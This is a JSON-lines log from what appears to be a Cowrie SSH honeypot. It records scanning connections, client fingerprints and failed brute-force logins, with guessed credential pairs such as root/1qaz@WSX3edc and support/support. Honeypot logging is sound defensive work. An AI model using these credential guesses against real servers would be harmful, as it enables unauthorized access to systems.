{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:41.404998Z","src_ip":"83.168.110.85","session":"152432024593","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lsfadmin","password":"lsfadmin","message":"login attempt [lsfadmin/lsfadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:41.768328Z","src_ip":"83.168.110.85","session":"152432024593","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:42.898681Z","src_ip":"83.168.110.85","session":"152432024593","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":52247,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd578b805bde","protocol":"ssh","message":"New connection: 167.172.81.52:52247 (159.203.135.109:22) [session: bd578b805bde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:45.142571Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:45.147183Z","src_ip":"167.172.81.52","session":"bd578b805bde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:45.151156Z","src_ip":"167.172.81.52","session":"bd578b805bde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":34140,"dst_ip":"159.203.135.109","dst_port":22,"session":"41f9de4d4471","protocol":"ssh","message":"New connection: 83.168.110.85:34140 (159.203.135.109:22) [session: 41f9de4d4471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:51.648470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:51.653604Z","src_ip":"83.168.110.85","session":"41f9de4d4471","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:51.774456Z","src_ip":"83.168.110.85","session":"41f9de4d4471","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:52.137322Z","src_ip":"83.168.110.85","session":"41f9de4d4471","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":44168,"dst_ip":"159.203.135.109","dst_port":22,"session":"38606181ea42","protocol":"ssh","message":"New connection: 103.75.182.198:44168 (159.203.135.109:22) [session: 38606181ea42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:52.728908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:52.733644Z","src_ip":"103.75.182.198","session":"38606181ea42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:52.979187Z","src_ip":"103.75.182.198","session":"38606181ea42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:53.271228Z","src_ip":"83.168.110.85","session":"41f9de4d4471","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"katerina","message":"login attempt [root/katerina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:53.729818Z","src_ip":"103.75.182.198","session":"38606181ea42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.99","src_port":44826,"dst_ip":"159.203.135.109","dst_port":22,"session":"2edadb349157","protocol":"ssh","message":"New connection: 152.32.171.99:44826 (159.203.135.109:22) [session: 2edadb349157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:54.158659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:54.163069Z","src_ip":"152.32.171.99","session":"2edadb349157","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:54.383133Z","src_ip":"152.32.171.99","session":"2edadb349157","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:54.978863Z","src_ip":"103.75.182.198","session":"38606181ea42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"imaging","message":"login attempt [root/imaging] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:55.296341Z","src_ip":"152.32.171.99","session":"2edadb349157","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:56.522732Z","src_ip":"152.32.171.99","session":"2edadb349157","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":45830,"dst_ip":"159.203.135.109","dst_port":22,"session":"45451a60a1b3","protocol":"ssh","message":"New connection: 83.168.110.85:45830 (159.203.135.109:22) [session: 45451a60a1b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:01.991185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:01.996302Z","src_ip":"83.168.110.85","session":"45451a60a1b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:02.117234Z","src_ip":"83.168.110.85","session":"45451a60a1b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:02.481826Z","src_ip":"83.168.110.85","session":"45451a60a1b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:03.663452Z","src_ip":"83.168.110.85","session":"45451a60a1b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":53360,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd43f8330d32","protocol":"ssh","message":"New connection: 83.168.110.85:53360 (159.203.135.109:22) [session: bd43f8330d32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:12.228851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:12.233565Z","src_ip":"83.168.110.85","session":"bd43f8330d32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:12.354121Z","src_ip":"83.168.110.85","session":"bd43f8330d32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:12.718343Z","src_ip":"83.168.110.85","session":"bd43f8330d32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:13.917935Z","src_ip":"83.168.110.85","session":"bd43f8330d32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":58432,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb287dc160c0","protocol":"ssh","message":"New connection: 109.172.54.111:58432 (159.203.135.109:22) [session: eb287dc160c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:21.187394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:21.192099Z","src_ip":"109.172.54.111","session":"eb287dc160c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:21.291408Z","src_ip":"109.172.54.111","session":"eb287dc160c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"00123","message":"login attempt [root/00123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:21.618910Z","src_ip":"109.172.54.111","session":"eb287dc160c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":48796,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9f7dc7588db","protocol":"ssh","message":"New connection: 83.168.110.85:48796 (159.203.135.109:22) [session: f9f7dc7588db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:22.388495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:22.393333Z","src_ip":"83.168.110.85","session":"f9f7dc7588db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:22.513931Z","src_ip":"83.168.110.85","session":"f9f7dc7588db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:22.719283Z","src_ip":"109.172.54.111","session":"eb287dc160c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:22.875227Z","src_ip":"83.168.110.85","session":"f9f7dc7588db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:24.095045Z","src_ip":"83.168.110.85","session":"f9f7dc7588db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":38768,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf3b900555b6","protocol":"ssh","message":"New connection: 103.118.29.129:38768 (159.203.135.109:22) [session: bf3b900555b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:24.608779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:26:24.612305Z","src_ip":"103.118.29.129","session":"bf3b900555b6","protocol":"ssh"}
